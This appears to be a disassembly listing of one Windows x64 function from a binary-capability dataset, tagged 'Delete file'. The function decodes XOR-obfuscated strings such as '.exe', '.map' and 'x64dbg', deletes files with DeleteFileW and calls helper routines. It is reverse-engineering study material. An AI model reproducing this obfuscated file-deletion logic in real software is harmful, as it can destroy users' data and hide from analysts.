Function at 0x1406c0ae0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xc0
mov ecx, reloc.WLDAP32.dll_Ordinal_46
xor edx, edx
call fcn.1406ba5a0
movzx r15d, ax
movzx r14d, ax
mov ecx, reloc.WS2_32.dll_WSAStartup
mov edx, 1
call fcn.1406ba5a0
movzx esi, ax
mov ecx, 0x79
mov edx, 2
call fcn.1406ba5a0
movzx edi, ax
mov ecx, reloc.WS2_32.dll_WSAStartup
mov edx, 3
call fcn.1406ba5a0
movzx ebx, ax
xor ecx, ecx
mov edx, 4
call fcn.1406ba5a0
movzx r12d, ax
movzx r11d, ax
mov edx, 5
movzx ecx, word [0x14075f33a]
call fcn.1406ba5a0
movzx r10d, ax
mov edx, 6
movzx ecx, word [0x14075f33c]
call fcn.1406ba5a0
movzx r9d, ax
mov edx, 7
movzx ecx, word [0x14075f33e]
call fcn.1406ba5a0
movzx r8d, ax
mov edx, 8
movzx ecx, word [str..exe]
call fcn.1406ba5a0
mov ecx, 0x133
xor r14w, cx
mov word [rbp - 0x79], r14w
mov r14d, 0x134
xor si, r14w
mov word [rbp - 0x77], si
mov ecx, 0x135
xor di, cx
mov word [rbp - 0x75], di
mov ecx, 0x136
xor bx, cx
mov word [rbp - 0x73], bx
mov ecx, 0x137
xor r11w, cx
mov word [rbp - 0x71], r11w
mov ecx, 0x138
xor r10w, cx
mov word [rbp - 0x6f], r10w
mov ecx, 0x139
xor r9w, cx
mov word [rbp - 0x6d], r9w
mov ecx, 0x13a
xor r8w, cx
mov word [rbp - 0x6b], r8w
mov ecx, 0x13b
xor ax, cx
mov word [rbp - 0x69], ax
xor r13d, r13d
mov word [rbp - 0x67], r13w
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
mov qword [rbp + 0x17], r13
mov qword [rbp + 0x1f], r13
lea rax, [rbp - 0x79]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r13w
jne 0x1406c0c50
lea rdx, [rbp - 0x79]
lea rcx, [rbp + 7]
call fcn.1406d4670
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x19]
call fcn.1406c02b0
nop
mov ecx, 0x65
mov edx, 1
call fcn.1406ba5a0
movzx esi, ax
mov ecx, 0x78
mov edx, 2
call fcn.1406ba5a0
movzx r11d, ax
mov ecx, 0x65
mov edx, 3
call fcn.1406ba5a0
movzx r9d, ax
mov edx, 5
movzx ecx, word [0x14075f34a]
call fcn.1406ba5a0
movzx edi, ax
mov edx, 6
movzx ecx, word [0x14075f34c]
call fcn.1406ba5a0
movzx r10d, ax
mov edx, 7
movzx ecx, word [0x14075f34e]
call fcn.1406ba5a0
movzx r8d, ax
mov edx, 8
movzx ecx, word [str._map]
call fcn.1406ba5a0
mov ecx, 0x133
xor r15w, cx
mov word [rbp - 0x79], r15w
xor si, r14w
mov word [rbp - 0x77], si
mov ecx, 0x135
xor r11w, cx
mov word [rbp - 0x75], r11w
mov ecx, 0x136
xor r9w, cx
mov word [rbp - 0x73], r9w
mov ecx, 0x137
xor r12w, cx
mov word [rbp - 0x71], r12w
mov ecx, 0x138
xor di, cx
mov word [rbp - 0x6f], di
mov ecx, 0x139
xor r10w, cx
mov word [rbp - 0x6d], r10w
mov ecx, 0x13a
xor r8w, cx
mov word [rbp - 0x6b], r8w
mov ecx, 0x13b
xor ax, cx
mov word [rbp - 0x69], ax
mov word [rbp - 0x67], r13w
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], r13
mov qword [rbp - 0x21], r13
lea rax, [rbp - 0x79]
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1406c0d90
mov r8, rbx
lea rdx, [rbp - 0x79]
lea rcx, [rbp - 0x39]
call fcn.1406d4670
lea rdx, [rbp - 0x39]
lea rcx, [rbp - 0x59]
call fcn.1406c02b0
nop
mov ecx, reloc.WLDAP32.dll_Ordinal_45
xor edx, edx
call fcn.1406ba5a0
movzx r12d, ax
mov ecx, WSASetLastError
mov edx, 1
call fcn.1406ba5a0
movzx r15d, ax
mov ecx, 0x61
mov edx, 2
call fcn.1406ba5a0
movzx r14d, ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov edx, 3
call fcn.1406ba5a0
movzx esi, ax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov edx, 4
call fcn.1406ba5a0
movzx edi, ax
xor ecx, ecx
mov edx, 5
call fcn.1406ba5a0
movzx ebx, ax
mov edx, 6
movzx ecx, word [0x14075f35c]
call fcn.1406ba5a0
movzx r11d, ax
mov edx, 7
movzx ecx, word [0x14075f35e]
call fcn.1406ba5a0
movzx r10d, ax
mov edx, 8
movzx ecx, word [str.x64dbg]
call fcn.1406ba5a0
movzx r9d, ax
mov edx, 9
movzx ecx, word [0x14075f362]
call fcn.1406ba5a0
movzx r8d, ax
mov edx, 0xa
movzx ecx, word [0x14075f364]
call fcn.1406ba5a0
mov ecx, 0x133
xor r12w, cx
mov word [rbp - 0x79], r12w
mov ecx, 0x134
xor r15w, cx
mov word [rbp - 0x77], r15w
mov ecx, 0x135
xor r14w, cx
mov word [rbp - 0x75], r14w
mov ecx, 0x136
xor si, cx
mov word [rbp - 0x73], si
mov ecx, 0x137
xor di, cx
mov word [rbp - 0x71], di
mov ecx, 0x138
xor bx, cx
mov word [rbp - 0x6f], bx
mov ecx, 0x139
xor r11w, cx
mov word [rbp - 0x6d], r11w
mov ecx, 0x13a
xor r10w, cx
mov word [rbp - 0x6b], r10w
mov ecx, 0x13b
xor r9w, cx
mov word [rbp - 0x69], r9w
mov ecx, 0x13c
xor r8w, cx
mov word [rbp - 0x67], r8w
mov ecx, 0x13d
xor ax, cx
mov word [rbp - 0x65], ax
mov word [rbp - 0x63], r13w
lea r8, [rbp - 0x19]
lea rdx, [rbp - 0x79]
lea rcx, [rbp + 7]
call fcn.1406d3a70
nop
lea rcx, [rbp - 0x19]
cmp qword [rbp - 1], 7
cmova rcx, qword [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x59]
cmp qword [rbp - 0x41], 7
cmova rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 0x39]
call fcn.1406d2360
mov rcx, rax
call fcn.1406c0920
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x39]
call fcn.1406d2360
mov rcx, rax
call fcn.1406c0760
lea rax, [rbp - 0x39]
mov qword [rbp + 0x67], rax
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x39]
call fcn.1406d2360
mov rbx, rax
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x79]
call fcn.1406d2360
nop
mov rdx, rbx
mov rcx, rax
call fcn.1406c04b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x19]
cmp qword [rbp - 1], 7
cmova rcx, qword [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x59]
cmp qword [rbp - 0x41], 7
cmova rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 7
jbe 0x1406c1035
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1406c102f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1406c102f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140741b18
nop
mov rdx, qword [rbp - 0x41]
cmp rdx, 7
jbe 0x1406c1078
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1406c1073
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1406c1073
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140741b18
movdqa xmm0, xmmword [0x14075fc50]
movdqu xmmword [rbp - 0x49], xmm0
mov word [rbp - 0x59], r13w
mov rdx, qword [rbp - 1]
cmp rdx, 7
jbe 0x1406c10cd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1406c10c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1406c10c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140741b18
mov rbx, qword [rsp + 0x110]
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret